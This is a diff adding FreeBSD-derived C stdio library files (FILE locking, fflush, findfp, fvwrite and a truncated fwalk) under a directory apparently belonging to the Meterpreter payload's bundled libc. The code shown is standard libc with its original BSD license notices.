#endif /* !_STDIO_H_ */
|
136
c/meterpreter/source/ulibc/stdio/_flock_stub.c
Normal file
136
c/meterpreter/source/ulibc/stdio/_flock_stub.c
Normal file
@ -0,0 +1,136 @@
|
||||
/*
|
||||
* Copyright (c) 1998 John Birrell <jb@cimlogic.com.au>.
|
||||
* All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
* 1. Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* 2. Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
* 3. Neither the name of the author nor the names of any co-contributors
|
||||
* may be used to endorse or promote products derived from this software
|
||||
* without specific prior written permission.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY JOHN BIRRELL AND CONTRIBUTORS ``AS IS'' AND
|
||||
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
|
||||
* ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
|
||||
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
|
||||
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
|
||||
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
|
||||
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
|
||||
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
|
||||
* SUCH DAMAGE.
|
||||
*/
|
||||
|
||||
/*
|
||||
* POSIX stdio FILE locking functions. These assume that the locking
|
||||
* is only required at FILE structure level, not at file descriptor
|
||||
* level too.
|
||||
*
|
||||
*/
|
||||
|
||||
#include <sys/cdefs.h>
|
||||
__FBSDID("$FreeBSD: head/lib/libc/stdio/_flock_stub.c 178287 2008-04-17 22:17:54Z jhb $");
|
||||
|
||||
#include "namespace.h"
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <pthread.h>
|
||||
#include "un-namespace.h"
|
||||
|
||||
#include "local.h"
|
||||
|
||||
|
||||
/*
|
||||
* Weak symbols for externally visible functions in this file:
|
||||
*/
|
||||
__weak_reference(_flockfile, flockfile);
|
||||
__weak_reference(_flockfile_debug_stub, _flockfile_debug);
|
||||
__weak_reference(_ftrylockfile, ftrylockfile);
|
||||
__weak_reference(_funlockfile, funlockfile);
|
||||
|
||||
void
|
||||
_flockfile(FILE *fp)
|
||||
{
|
||||
pthread_t curthread = _pthread_self();
|
||||
|
||||
if (fp->_fl_owner == curthread)
|
||||
fp->_fl_count++;
|
||||
else {
|
||||
/*
|
||||
* Make sure this mutex is treated as a private
|
||||
* internal mutex:
|
||||
*/
|
||||
_pthread_mutex_lock(&fp->_fl_mutex);
|
||||
fp->_fl_owner = curthread;
|
||||
fp->_fl_count = 1;
|
||||
}
|
||||
}
|
||||
|
||||
/*
|
||||
* This can be overriden by the threads library if it is linked in.
|
||||
*/
|
||||
void
|
||||
_flockfile_debug_stub(FILE *fp, char *fname, int lineno)
|
||||
{
|
||||
_flockfile(fp);
|
||||
}
|
||||
|
||||
int
|
||||
_ftrylockfile(FILE *fp)
|
||||
{
|
||||
pthread_t curthread = _pthread_self();
|
||||
int ret = 0;
|
||||
|
||||
if (fp->_fl_owner == curthread)
|
||||
fp->_fl_count++;
|
||||
/*
|
||||
* Make sure this mutex is treated as a private
|
||||
* internal mutex:
|
||||
*/
|
||||
else if (_pthread_mutex_trylock(&fp->_fl_mutex) == 0) {
|
||||
fp->_fl_owner = curthread;
|
||||
fp->_fl_count = 1;
|
||||
}
|
||||
else
|
||||
ret = -1;
|
||||
return (ret);
|
||||
}
|
||||
|
||||
void
|
||||
_funlockfile(FILE *fp)
|
||||
{
|
||||
pthread_t curthread = _pthread_self();
|
||||
|
||||
/*
|
||||
* Check if this file is owned by the current thread:
|
||||
*/
|
||||
if (fp->_fl_owner == curthread) {
|
||||
/*
|
||||
* Check if this thread has locked the FILE
|
||||
* more than once:
|
||||
*/
|
||||
if (fp->_fl_count > 1)
|
||||
/*
|
||||
* Decrement the count of the number of
|
||||
* times the running thread has locked this
|
||||
* file:
|
||||
*/
|
||||
fp->_fl_count--;
|
||||
else {
|
||||
/*
|
||||
* The running thread will release the
|
||||
* lock now:
|
||||
*/
|
||||
fp->_fl_count = 0;
|
||||
fp->_fl_owner = NULL;
|
||||
_pthread_mutex_unlock(&fp->_fl_mutex);
|
||||
}
|
||||
}
|
||||
}
|
141
c/meterpreter/source/ulibc/stdio/fflush.c
Normal file
141
c/meterpreter/source/ulibc/stdio/fflush.c
Normal file
@ -0,0 +1,141 @@
|
||||
/*-
|
||||
* Copyright (c) 1990, 1993
|
||||
* The Regents of the University of California. All rights reserved.
|
||||
*
|
||||
* This code is derived from software contributed to Berkeley by
|
||||
* Chris Torek.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
* 1. Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* 2. Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
* 4. Neither the name of the University nor the names of its contributors
|
||||
* may be used to endorse or promote products derived from this software
|
||||
* without specific prior written permission.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
|
||||
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
|
||||
* ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
|
||||
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
|
||||
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
|
||||
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
|
||||
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
|
||||
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
|
||||
* SUCH DAMAGE.
|
||||
*/
|
||||
|
||||
#if defined(LIBC_SCCS) && !defined(lint)
|
||||
static char sccsid[] = "@(#)fflush.c 8.1 (Berkeley) 6/4/93";
|
||||
#endif /* LIBC_SCCS and not lint */
|
||||
#include <sys/cdefs.h>
|
||||
__FBSDID("$FreeBSD: user/kmacy/releng_7_2_zfs/lib/libc/stdio/fflush.c 165903 2007-01-09 00:28:16Z imp $");
|
||||
|
||||
#include "namespace.h"
|
||||
#include <errno.h>
|
||||
#include <stdio.h>
|
||||
#include "un-namespace.h"
|
||||
#include "libc_private.h"
|
||||
#include "local.h"
|
||||
|
||||
static int sflush_locked(FILE *);
|
||||
|
||||
/*
|
||||
* Flush a single file, or (if fp is NULL) all files.
|
||||
* MT-safe version
|
||||
*/
|
||||
int
|
||||
fflush(FILE *fp)
|
||||
{
|
||||
int retval;
|
||||
|
||||
if (fp == NULL)
|
||||
return (_fwalk(sflush_locked));
|
||||
FLOCKFILE(fp);
|
||||
|
||||
/*
|
||||
* There is disagreement about the correct behaviour of fflush()
|
||||
* when passed a file which is not open for reading. According to
|
||||
* the ISO C standard, the behaviour is undefined.
|
||||
* Under linux, such an fflush returns success and has no effect;
|
||||
* under Windows, such an fflush is documented as behaving instead
|
||||
* as fpurge().
|
||||
* Given that applications may be written with the expectation of
|
||||
* either of these two behaviours, the only safe (non-astonishing)
|
||||
* option is to return EBADF and ask that applications be fixed.
|
||||
*/
|
||||
if ((fp->_flags & (__SWR | __SRW)) == 0) {
|
||||
errno = EBADF;
|
||||
retval = EOF;
|
||||
} else
|
||||
retval = __sflush(fp);
|
||||
FUNLOCKFILE(fp);
|
||||
return (retval);
|
||||
}
|
||||
|
||||
/*
|
||||
* Flush a single file, or (if fp is NULL) all files.
|
||||
* Non-MT-safe version
|
||||
*/
|
||||
int
|
||||
__fflush(FILE *fp)
|
||||
{
|
||||
int retval;
|
||||
|
||||
if (fp == NULL)
|
||||
return (_fwalk(sflush_locked));
|
||||
if ((fp->_flags & (__SWR | __SRW)) == 0) {
|
||||
errno = EBADF;
|
||||
retval = EOF;
|
||||
} else
|
||||
retval = __sflush(fp);
|
||||
return (retval);
|
||||
}
|
||||
|
||||
int
|
||||
__sflush(FILE *fp)
|
||||
{
|
||||
unsigned char *p;
|
||||
int n, t;
|
||||
|
||||
t = fp->_flags;
|
||||
if ((t & __SWR) == 0)
|
||||
return (0);
|
||||
|
||||
if ((p = fp->_bf._base) == NULL)
|
||||
return (0);
|
||||
|
||||
n = fp->_p - p; /* write this much */
|
||||
|
||||
/*
|
||||
* Set these immediately to avoid problems with longjmp and to allow
|
||||
* exchange buffering (via setvbuf) in user write function.
|
||||
*/
|
||||
fp->_p = p;
|
||||
fp->_w = t & (__SLBF|__SNBF) ? 0 : fp->_bf._size;
|
||||
|
||||
for (; n > 0; n -= t, p += t) {
|
||||
t = _swrite(fp, (char *)p, n);
|
||||
if (t <= 0) {
|
||||
fp->_flags |= __SERR;
|
||||
return (EOF);
|
||||
}
|
||||
}
|
||||
return (0);
|
||||
}
|
||||
|
||||
static int
|
||||
sflush_locked(FILE *fp)
|
||||
{
|
||||
int ret;
|
||||
|
||||
FLOCKFILE(fp);
|
||||
ret = __sflush(fp);
|
||||
FUNLOCKFILE(fp);
|
||||
return (ret);
|
||||
}
|
223
c/meterpreter/source/ulibc/stdio/findfp.c
Normal file
223
c/meterpreter/source/ulibc/stdio/findfp.c
Normal file
@ -0,0 +1,223 @@
|
||||
/*-
|
||||
* Copyright (c) 1990, 1993
|
||||
* The Regents of the University of California. All rights reserved.
|
||||
*
|
||||
* This code is derived from software contributed to Berkeley by
|
||||
* Chris Torek.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
* 1. Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* 2. Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
* 4. Neither the name of the University nor the names of its contributors
|
||||
* may be used to endorse or promote products derived from this software
|
||||
* without specific prior written permission.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
|
||||
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
|
||||
* ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
|
||||
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
|
||||
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
|
||||
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
|
||||
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
|
||||
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
|
||||
* SUCH DAMAGE.
|
||||
*/
|
||||
|
||||
#if defined(LIBC_SCCS) && !defined(lint)
|
||||
static char sccsid[] = "@(#)findfp.c 8.2 (Berkeley) 1/4/94";
|
||||
#endif /* LIBC_SCCS and not lint */
|
||||
#include <sys/cdefs.h>
|
||||
__FBSDID("$FreeBSD: head/lib/libc/stdio/findfp.c 189249 2009-03-01 19:25:40Z das $");
|
||||
|
||||
#include <sys/param.h>
|
||||
#include <machine/atomic.h>
|
||||
#include <unistd.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
|
||||
#include <spinlock.h>
|
||||
|
||||
#include "libc_private.h"
|
||||
#include "local.h"
|
||||
#include "glue.h"
|
||||
|
||||
int __sdidinit;
|
||||
|
||||
#define NDYNAMIC 10 /* add ten more whenever necessary */
|
||||
|
||||
#define std(flags, file) { \
|
||||
._flags = (flags), \
|
||||
._file = (file), \
|
||||
._cookie = __sF + (file), \
|
||||
._close = __sclose, \
|
||||
._read = __sread, \
|
||||
._seek = __sseek, \
|
||||
._write = __swrite, \
|
||||
}
|
||||
/* the usual - (stdin + stdout + stderr) */
|
||||
static FILE usual[FOPEN_MAX - 3];
|
||||
static struct glue uglue = { NULL, FOPEN_MAX - 3, usual };
|
||||
|
||||
static FILE __sF[3] = {
|
||||
std(__SRD, STDIN_FILENO),
|
||||
std(__SWR, STDOUT_FILENO),
|
||||
std(__SWR|__SNBF, STDERR_FILENO)
|
||||
};
|
||||
|
||||
|
||||
FILE *__stdinp = &__sF[0];
|
||||
FILE *__stdoutp = &__sF[1];
|
||||
FILE *__stderrp = &__sF[2];
|
||||
#ifdef __linux__
|
||||
#undef stdin
|
||||
#undef stdout
|
||||
FILE *stdin = &__sF[0];
|
||||
FILE *stdout = &__sF[1];
|
||||
FILE *stderr = &__sF[2];
|
||||
#endif
|
||||
struct glue __sglue = { &uglue, 3, __sF };
|
||||
static struct glue *lastglue = &uglue;
|
||||
|
||||
static struct glue * moreglue(int);
|
||||
|
||||
static spinlock_t thread_lock = _SPINLOCK_INITIALIZER;
|
||||
#define THREAD_LOCK() if (__isthreaded) _SPINLOCK(&thread_lock)
|
||||
#define THREAD_UNLOCK() if (__isthreaded) _SPINUNLOCK(&thread_lock)
|
||||
|
||||
#if NOT_YET
|
||||
#define SET_GLUE_PTR(ptr, val) atomic_set_rel_ptr(&(ptr), (uintptr_t)(val))
|
||||
#else
|
||||
#define SET_GLUE_PTR(ptr, val) ptr = val
|
||||
#endif
|
||||
|
||||
static struct glue *
|
||||
moreglue(n)
|
||||
int n;
|
||||
{
|
||||
struct glue *g;
|
||||
static FILE empty;
|
||||
FILE *p;
|
||||
|
||||
g = (struct glue *)malloc(sizeof(*g) + ALIGNBYTES + n * sizeof(FILE));
|
||||
if (g == NULL)
|
||||
return (NULL);
|
||||
p = (FILE *)ALIGN(g + 1);
|
||||
g->next = NULL;
|
||||
g->niobs = n;
|
||||
g->iobs = p;
|
||||
while (--n >= 0)
|
||||
*p++ = empty;
|
||||
return (g);
|
||||
}
|
||||
|
||||
/*
|
||||
* Find a free FILE for fopen et al.
|
||||
*/
|
||||
FILE *
|
||||
__sfp()
|
||||
{
|
||||
FILE *fp;
|
||||
int n;
|
||||
struct glue *g;
|
||||
|
||||
if (!__sdidinit)
|
||||
__sinit();
|
||||
/*
|
||||
* The list must be locked because a FILE may be updated.
|
||||
*/
|
||||
THREAD_LOCK();
|
||||
for (g = &__sglue; g != NULL; g = g->next) {
|
||||
for (fp = g->iobs, n = g->niobs; --n >= 0; fp++)
|
||||
if (fp->_flags == 0)
|
||||
goto found;
|
||||
}
|
||||
THREAD_UNLOCK(); /* don't hold lock while malloc()ing. */
|
||||
if ((g = moreglue(NDYNAMIC)) == NULL)
|
||||
return (NULL);
|
||||
THREAD_LOCK(); /* reacquire the lock */
|
||||
SET_GLUE_PTR(lastglue->next, g); /* atomically append glue to list */
|
||||
lastglue = g; /* not atomic; only accessed when locked */
|
||||
fp = g->iobs;
|
||||
found:
|
||||
fp->_flags = 1; /* reserve this slot; caller sets real flags */
|
||||
THREAD_UNLOCK();
|
||||
fp->_p = NULL; /* no current pointer */
|
||||
fp->_w = 0; /* nothing to read or write */
|
||||
fp->_r = 0;
|
||||
fp->_bf._base = NULL; /* no buffer */
|
||||
fp->_bf._size = 0;
|
||||
fp->_lbfsize = 0; /* not line buffered */
|
||||
fp->_file = -1; /* no file */
|
||||
/* fp->_cookie = <any>; */ /* caller sets cookie, _read/_write etc */
|
||||
fp->_ub._base = NULL; /* no ungetc buffer */
|
||||
fp->_ub._size = 0;
|
||||
fp->_lb._base = NULL; /* no line buffer */
|
||||
fp->_lb._size = 0;
|
||||
/* fp->_lock = NULL; */ /* once set always set (reused) */
|
||||
fp->_orientation = 0;
|
||||
memset(&fp->_mbstate, 0, sizeof(mbstate_t));
|
||||
return (fp);
|
||||
}
|
||||
|
||||
/*
|
||||
* XXX. Force immediate allocation of internal memory. Not used by stdio,
|
||||
* but documented historically for certain applications. Bad applications.
|
||||
*/
|
||||
__warn_references(f_prealloc,
|
||||
"warning: this program uses f_prealloc(), which is not recommended.");
|
||||
|
||||
void
|
||||
f_prealloc()
|
||||
{
|
||||
struct glue *g;
|
||||
int n;
|
||||
|
||||
n = getdtablesize() - FOPEN_MAX + 20; /* 20 for slop. */
|
||||
/*
|
||||
* It should be safe to walk the list without locking it;
|
||||
* new nodes are only added to the end and none are ever
|
||||
* removed.
|
||||
*/
|
||||
for (g = &__sglue; (n -= g->niobs) > 0 && g->next; g = g->next)
|
||||
/* void */;
|
||||
if ((n > 0) && ((g = moreglue(n)) != NULL)) {
|
||||
THREAD_LOCK();
|
||||
SET_GLUE_PTR(lastglue->next, g);
|
||||
lastglue = g;
|
||||
THREAD_UNLOCK();
|
||||
}
|
||||
}
|
||||
|
||||
/*
|
||||
* exit() calls _cleanup() through *__cleanup, set whenever we
|
||||
* open or buffer a file. This chicanery is done so that programs
|
||||
* that do not use stdio need not link it all in.
|
||||
*
|
||||
* The name `_cleanup' is, alas, fairly well known outside stdio.
|
||||
*/
|
||||
void
|
||||
_cleanup()
|
||||
{
|
||||
/* (void) _fwalk(fclose); */
|
||||
(void) _fwalk(__sflush); /* `cheating' */
|
||||
}
|
||||
|
||||
/*
|
||||
* __sinit() is called whenever stdio's internal variables must be set up.
|
||||
*/
|
||||
void
|
||||
__sinit()
|
||||
{
|
||||
|
||||
/* Make sure we clean up on exit. */
|
||||
__cleanup = _cleanup; /* conservative */
|
||||
__sdidinit = 1;
|
||||
}
|
207
c/meterpreter/source/ulibc/stdio/fvwrite.c
Normal file
207
c/meterpreter/source/ulibc/stdio/fvwrite.c
Normal file
@ -0,0 +1,207 @@
|
||||
/*-
|
||||
* Copyright (c) 1990, 1993
|
||||
* The Regents of the University of California. All rights reserved.
|
||||
*
|
||||
* This code is derived from software contributed to Berkeley by
|
||||
* Chris Torek.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
* 1. Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* 2. Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
* 4. Neither the name of the University nor the names of its contributors
|
||||
* may be used to endorse or promote products derived from this software
|
||||
* without specific prior written permission.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
|
||||
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
|
||||
* ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
|
||||
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
|
||||
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
|
||||
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
|
||||
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
|
||||
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
|
||||
* SUCH DAMAGE.
|
||||
*/
|
||||
|
||||
#if defined(LIBC_SCCS) && !defined(lint)
|
||||
static char sccsid[] = "@(#)fvwrite.c 8.1 (Berkeley) 6/4/93";
|
||||
#endif /* LIBC_SCCS and not lint */
|
||||
#include <sys/cdefs.h>
|
||||
__FBSDID("$FreeBSD: user/kmacy/releng_7_2_zfs/lib/libc/stdio/fvwrite.c 165903 2007-01-09 00:28:16Z imp $");
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include "local.h"
|
||||
#include "fvwrite.h"
|
||||
|
||||
/*
|
||||
* Write some memory regions. Return zero on success, EOF on error.
|
||||
*
|
||||
* This routine is large and unsightly, but most of the ugliness due
|
||||
* to the three different kinds of output buffering is handled here.
|
||||
*/
|
||||
int
|
||||
__sfvwrite(fp, uio)
|
||||
FILE *fp;
|
||||
struct __suio *uio;
|
||||
{
|
||||
size_t len;
|
||||
char *p;
|
||||
struct __siov *iov;
|
||||
int w, s;
|
||||
char *nl;
|
||||
int nlknown, nldist;
|
||||
|
||||
if ((len = uio->uio_resid) == 0)
|
||||
return (0);
|
||||
/* make sure we can write */
|
||||
if (prepwrite(fp) != 0)
|
||||
return (EOF);
|
||||
|
||||
#define MIN(a, b) ((a) < (b) ? (a) : (b))
|
||||
#define COPY(n) (void)memcpy((void *)fp->_p, (void *)p, (size_t)(n))
|
||||
|
||||
iov = uio->uio_iov;
|
||||
p = iov->iov_base;
|
||||
len = iov->iov_len;
|
||||
iov++;
|
||||
#define GETIOV(extra_work) \
|
||||
while (len == 0) { \
|
||||
extra_work; \
|
||||
p = iov->iov_base; \
|
||||
len = iov->iov_len; \
|
||||
iov++; \
|
||||
}
|
||||
if (fp->_flags & __SNBF) {
|
||||
/*
|
||||
* Unbuffered: write up to BUFSIZ bytes at a time.
|
||||
*/
|
||||
do {
|
||||
GETIOV(;);
|
||||
w = _swrite(fp, p, MIN(len, BUFSIZ));
|
||||
if (w <= 0)
|
||||
goto err;
|
||||
p += w;
|
||||
len -= w;
|
||||
} while ((uio->uio_resid -= w) != 0);
|
||||
} else if ((fp->_flags & __SLBF) == 0) {
|
||||
/*
|
||||
* Fully buffered: fill partially full buffer, if any,
|
||||
* and then flush. If there is no partial buffer, write
|
||||
* one _bf._size byte chunk directly (without copying).
|
||||
*
|
||||
* String output is a special case: write as many bytes
|
||||
* as fit, but pretend we wrote everything. This makes
|
||||
* snprintf() return the number of bytes needed, rather
|
||||
* than the number used, and avoids its write function
|
||||
* (so that the write function can be invalid).
|
||||
*/
|
||||
do {
|
||||
GETIOV(;);
|
||||
if ((fp->_flags & (__SALC | __SSTR)) ==
|
||||
(__SALC | __SSTR) && fp->_w < len) {
|
||||
size_t blen = fp->_p - fp->_bf._base;
|
||||
|
||||
/*
|
||||
* Alloc an extra 128 bytes (+ 1 for NULL)
|
||||
* so we don't call realloc(3) so often.
|
||||
*/
|
||||
fp->_w = len + 128;
|
||||
fp->_bf._size = blen + len + 128;
|
||||
fp->_bf._base =
|
||||
reallocf(fp->_bf._base, fp->_bf._size + 1);
|
||||
if (fp->_bf._base == NULL)
|
||||
goto err;
|
||||
fp->_p = fp->_bf._base + blen;
|
||||
}
|
||||
w = fp->_w;
|
||||
if (fp->_flags & __SSTR) {
|
||||
if (len < w)
|
||||
w = len;
|
||||
if (w > 0) {
|
||||
COPY(w); /* copy MIN(fp->_w,len), */
|
||||
fp->_w -= w;
|
||||
fp->_p += w;
|
||||
}
|
||||
w = len; /* but pretend copied all */
|
||||
} else if (fp->_p > fp->_bf._base && len > w) {
|
||||
/* fill and flush */
|
||||
COPY(w);
|
||||
/* fp->_w -= w; */ /* unneeded */
|
||||
fp->_p += w;
|
||||
if (__fflush(fp))
|
||||
goto err;
|
||||
} else if (len >= (w = fp->_bf._size)) {
|
||||
/* write directly */
|
||||
w = _swrite(fp, p, w);
|
||||
if (w <= 0)
|
||||
goto err;
|
||||
} else {
|
||||
/* fill and done */
|
||||
w = len;
|
||||
COPY(w);
|
||||
fp->_w -= w;
|
||||
fp->_p += w;
|
||||
}
|
||||
p += w;
|
||||
len -= w;
|
||||
} while ((uio->uio_resid -= w) != 0);
|
||||
} else {
|
||||
/*
|
||||
* Line buffered: like fully buffered, but we
|
||||
* must check for newlines. Compute the distance
|
||||
* to the first newline (including the newline),
|
||||
* or `infinity' if there is none, then pretend
|
||||
* that the amount to write is MIN(len,nldist).
|
||||
*/
|
||||
nlknown = 0;
|
||||
nldist = 0; /* XXX just to keep gcc happy */
|
||||
do {
|
||||
GETIOV(nlknown = 0);
|
||||
if (!nlknown) {
|
||||
nl = memchr((void *)p, '\n', len);
|
||||
nldist = nl ? nl + 1 - p : len + 1;
|
||||
nlknown = 1;
|
||||
}
|
||||
s = MIN(len, nldist);
|
||||
w = fp->_w + fp->_bf._size;
|
||||
if (fp->_p > fp->_bf._base && s > w) {
|
||||
COPY(w);
|
||||
/* fp->_w -= w; */
|
||||
fp->_p += w;
|
||||
if (__fflush(fp))
|
||||
goto err;
|
||||
} else if (s >= (w = fp->_bf._size)) {
|
||||
w = _swrite(fp, p, w);
|
||||
if (w <= 0)
|
||||
goto err;
|
||||
} else {
|
||||
w = s;
|
||||
COPY(w);
|
||||
fp->_w -= w;
|
||||
fp->_p += w;
|
||||
}
|
||||
if ((nldist -= w) == 0) {
|
||||
/* copied the newline: flush and forget */
|
||||
if (__fflush(fp))
|
||||
goto err;
|
||||
nlknown = 0;
|
||||
}
|
||||
p += w;
|
||||
len -= w;
|
||||
} while ((uio->uio_resid -= w) != 0);
|
||||
}
|
||||
return (0);
|
||||
|
||||
err:
|
||||
fp->_flags |= __SERR;
|
||||
return (EOF);
|
||||
}
|
67
c/meterpreter/source/ulibc/stdio/fwalk.c
Normal file
67
c/meterpreter/source/ulibc/stdio/fwalk.c
Normal file
@ -0,0 +1,67 @@
|
||||
/*-
|
||||
* Copyright (c) 1990, 1993
|
||||
* The Regents of the University of California. All rights reserved.
|
||||
*
|
||||
* This code is derived from software contributed to Berkeley by
|
||||
* Chris Torek.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
* 1. Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* 2. Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
* 4. Neither the name of the University nor the names of its contributors
|
||||
* may be used to endorse or promote products derived from this software
|
||||
* without specific prior written permission.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
|
||||
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
|
||||
* ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
|
||||
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
|
||||
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
|
||||
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
|
||||
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
|
||||
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
|
||||
* SUCH DAMAGE.
|
||||
*/
|
||||
|
||||
#if defined(LIBC_SCCS) && !defined(lint)
|
||||
static char sccsid[] = "@(#)fwalk.c 8.1 (Berkeley) 6/4/93";
|
||||
#endif /* LIBC_SCCS and not lint */
|
||||
#include <sys/cdefs.h>
|
||||
__FBSDID("$FreeBSD: user/kmacy/releng_7_2_zfs/lib/libc/stdio/fwalk.c 165903 2007-01-09 00:28:16Z imp $");
|
||||
|
||||
#include <sys/types.h>
|
||||
#include <machine/atomic.h>
|
||||
#include <stdio.h>
|
||||
#include "local.h"
|
||||
#include "glue.h"
|
||||
|
||||
int
|
||||
_fwalk(function)
|
||||
int (*function)(FILE *);
|
||||
{
|
||||
FILE *fp;
|
||||
int n, ret;
|
||||
struct glue *g;
|
||||
|
||||
ret = 0;
|
||||
/*
|
||||
* It should be safe to walk the list without locking it;
|
||||
* new nodes are only added to the end and none are ever
|
||||
* removed.
|
||||
*
|
||||
